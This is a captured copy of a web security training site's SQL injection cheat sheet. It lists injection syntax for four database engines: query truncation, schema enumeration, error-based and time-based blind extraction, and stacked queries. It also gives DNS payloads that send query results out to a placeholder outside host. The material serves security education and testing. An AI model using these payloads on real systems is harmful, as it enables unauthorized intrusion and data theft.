1/30/24, 10:24 AM SQL injection cheat sheet | Web Security Academy

Log out MY ACCOUNT

Academy home 

> Cheat sheet

 Back to all topics

SQL injection cheat sheet
SQL injection 
This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often
arise when performing SQL injection attacks.

String concatenation
You can concatenate together multiple strings to make a single string.

Oracle 'foo'||'bar'
Microsoft 'foo'+'bar'
PostgreSQL 'foo'||'bar'
'foo' 'bar' [Note the space between the two strings]
MySQL
CONCAT('foo','bar')

Substring
You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each
of the following expressions will return the string ba .

Oracle SUBSTR('foobar', 4, 2)
Microsoft SUBSTRING('foobar', 4, 2)
PostgreSQL SUBSTRING('foobar', 4, 2)

MySQL SUBSTRING('foobar', 4, 2)

Comments
You can use comments to truncate a query and remove the portion of the original query that follows your input.

Oracle --comment
--comment
Microsoft
/*comment*/
--comment
PostgreSQL
/*comment*/
#comment
MySQL -- comment [Note the space after the double dash]
/*comment*/

Database version
You can query the database to determine its type and version. This information is useful when formulating more
complicated attacks.

https://portswigger.net/web-security/sql-injection/cheat-sheet 1/5
1/30/24, 10:24 AM SQL injection cheat sheet | Web Security Academy

SELECT banner FROM v$version

Oracle
SELECT version FROM v$instance
Microsoft SELECT @@version
PostgreSQL SELECT version()

MySQL SELECT @@version

Database contents
You can list the tables that exist in the database, and the columns that those tables contain.

SELECT * FROM all_tables

Oracle
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
SELECT * FROM information_schema.tables
Microsoft
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
SELECT * FROM information_schema.tables
PostgreSQL
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
SELECT * FROM information_schema.tables
MySQL
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

Conditional errors
You can test a single boolean condition and trigger a database error if the condition is true.

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM
Oracle
dual
Microsoft SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL 1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)
SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM
MySQL
information_schema.tables),'a')

Extracting data via visible error messages

You can potentially elicit error messages that leak sensitive data returned by your malicious query.

SELECT 'foo' WHERE 1 = (SELECT 'secret')

Microsoft
> Conversion failed when converting the varchar value 'secret' to data type
int.
SELECT CAST((SELECT password FROM users LIMIT 1) AS int)
PostgreSQL
> invalid input syntax for integer: "secret"
SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))
MySQL
> XPATH syntax error: '\secret'

Batched (or stacked) queries

You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are
executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind
vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.

Oracle Does not support batched queries.

QUERY-1-HERE; QUERY-2-HERE
Microsoft
QUERY-1-HERE QUERY-2-HERE
PostgreSQL QUERY-1-HERE; QUERY-2-HERE
MySQL QUERY-1-HERE; QUERY-2-HERE

https://portswigger.net/web-security/sql-injection/cheat-sheet 2/5
1/30/24, 10:24 AM SQL injection cheat sheet | Web Security Academy

Note

With MySQL, batched queries typically cannot be used for SQL injection. However, this is occasionally possible if
the target application uses certain PHP or Python APIs to communicate with a MySQL database.

Time delays
You can cause a time delay in the database when the query is processed. The following will cause an unconditional time
delay of 10 seconds.

Oracle dbms_pipe.receive_message(('a'),10)
Microsoft WAITFOR DELAY '0:0:10'
PostgreSQL SELECT pg_sleep(10)
MySQL SELECT SLEEP(10)

Conditional time delays

You can test a single boolean condition and trigger a time delay if the condition is true.

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN

Oracle
'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
Microsoft IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQL SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQL SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')

DNS lookup
You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use Burp
Collaborator to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the
Collaborator server to confirm that a DNS lookup occurred.

(XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched
Oracle installations in existence:

SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE

Oracle root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/">
%remote;]>'),'/l') FROM dual

The following technique works on fully patched Oracle installations, but requires elevated privileges:
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
Microsoft exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
PostgreSQL copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'

The following techniques work on Windows only:

MySQL
LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

DNS lookup with data exfiltration

You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To
do this, you will need to use Burp Collaborator to generate a unique Burp Collaborator subdomain that you will use in your
attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data.

SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE

Oracle root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-
COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual

https://portswigger.net/web-security/sql-injection/cheat-sheet 3/5
1/30/24, 10:24 AM SQL injection cheat sheet | Web Security Academy

declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-

Microsoft
HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')
create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
PostgreSQL c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-
SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
The following technique works on Windows only:
MySQL
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

Track your progress

Vulnerability labs: View all

7%

Level progress:

15 6 0
of 58 of 168 of 38

Apprentice Practitioner Expert

Your level:
NEWBIE
Ne Solve 43 more labs to
become an apprentice.

See where you rank on

our Hall of Fame 

Find SQL injection

vulnerabilities using
Burp Suite

TRY FOR FREE

https://portswigger.net/web-security/sql-injection/cheat-sheet 4/5
1/30/24, 10:24 AM SQL injection cheat sheet | Web Security Academy

Burp Suite Vulnerabilities Customers Company Insights

Web vulnerability scanner Cross-site scripting (XSS) Organizations About Web Security Academy
Burp Suite Editions SQL injection Testers Careers Blog  Follow us
Release Notes Cross-site request forgery Developers Contact Research
XML external entity injection Legal © 2024 PortSwigger Ltd
Directory traversal Privacy Notice
Server-side request forgery

https://portswigger.net/web-security/sql-injection/cheat-sheet 5/5